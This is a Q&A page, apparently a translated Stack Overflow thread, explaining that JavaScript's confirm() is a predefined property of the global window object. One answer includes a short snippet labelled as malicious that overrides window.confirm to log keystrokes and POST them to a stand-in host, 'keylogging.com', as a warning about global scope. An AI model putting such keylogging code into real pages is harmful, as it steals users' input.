Javascript方法定义

时间:2015-04-14 15:45:26

标签: javascript

我最近开始学习javascript,我知道Java和一些html,CSS和SQL。但是,就js中发生的事情而言,我有点困惑。 JS有一个名为confirm的方法,它弹出一个窗口并要求用户确认。在使用之前,您不必定义此方法。在java中你必须定义对象才能使用它,这里他们使用这个方法被调用而不用定义它。它已经在JS中定义了,它是如何工作的?请帮忙,因为我现在很困惑。

2 个答案:

答案 0 :(得分:1)

Javascript有一个名为window的预定义对象,其上已经定义了很多属性。

您可以通过打开浏览器的控制台并输入window然后按Enter键来查看它们。

因为在ES6 (当前正在开发的规范)之前,Javascript还没有模块系统的概念,所以所有浏览器API都必须存储在窗口对象中以便开发人员使用能够使用它们。

您可以将窗口对象视为Javascript中的全局范围。如果您创建的变量没有var关键字,则会将其创建为window对象上的属性。

function main() {
  hello = 3;
  window.hello === 3; // true

  var bye = 2;
  window.bye === 2; // false
  typeof window.bye === 'undefined'; // true
}

因此调用confirm()与调用window.confirm()隐含相同,因为confirm实际上只是window对象上的属性。

这个模型被广泛认为是一个坏主意,可能非常危险,它使其他脚本很容易重新定义window对象的属性。

// malicious script
window.confirm = function() {
  window.addEventListener('keydown', function(e) {
    $.POST('keylogging.com', { key: e.keyCode }); 
  });
};

现在,如果你打电话给确认,而不是看到确认对话框,你将改为注册一个事件监听器,它将把你所有的击键发送给其他人的服务器。

显然并非所有第三方代码都是恶意代码,但仍然存在对窗口进行修改会导致代码中断的风险。

最佳做法是尽量避免在窗口对象上更改任何。一种方法是将IIFEsmodule pattern一起使用。

答案 1 :(得分:0)

  

它已经在JS中定义了吗?

是的,浏览器确实预先定义了window.prompt方法,以便您可以随时使用它。